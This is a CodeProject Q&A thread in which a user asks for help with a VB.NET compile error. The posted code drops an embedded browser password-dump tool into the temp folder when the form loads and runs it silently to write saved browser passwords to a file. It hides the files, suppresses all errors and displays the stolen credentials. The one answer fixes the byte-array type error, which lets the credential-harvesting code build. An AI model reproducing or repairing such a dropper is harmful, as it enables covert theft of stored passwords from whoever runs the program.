Click here to Skip to main content
15,896,606 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
Hi I am trying to compile my program in VB NET but keep getting the error Error 1 Value of type '1-dimensional array of Byte' cannot be converted to 'Byte'. This is on the line that says Dim Resource1 As Byte = My.Resources.WebBrowserPassView, can anyone help me solve this?


VB
Imports System.IO
Imports System.Text
Public Class Form1
    Dim tempath As String = My.Computer.FileSystem.SpecialDirectories.Temp
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Try
            Dim Resource1 As Byte = My.Resources.WebBrowserPassView
            FileOpen(1, Environ("tmp") & "\WebBrowserPassView.exe", OpenMode.Binary)
            FilePut(1, True, Resource1)
            FileClose(1)
            Shell(Environ("tmp") & "\WebBrowserPassView.exe /stext" & Environ("tmp") & "\WebBrowserPassView.txt", )
            SetAttr(tempath & "\WebBrowserPassView.exe", vbHidden + vbReadOnly)
            SetAttr(tempath & "\WebBrowserPassView.txt", vbHidden + vbReadOnly)
            RichTextBox1.Text = IO.File.ReadAllText(Environ("tmp") & "\WebBrowserPassView.txt")
        Catch ex As Exception
        End Try
    End Sub
End Class
Posted

1 solution

Dim Resource1 As Byte = My.Resources.WebBrowserPassView

should be
Dim Resource1 As Byte() = My.Resources.WebBrowserPassView


Byte can only handle a Value vom 0 to 255. and not that 1-Dimensional Array your Ressource kinda is
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900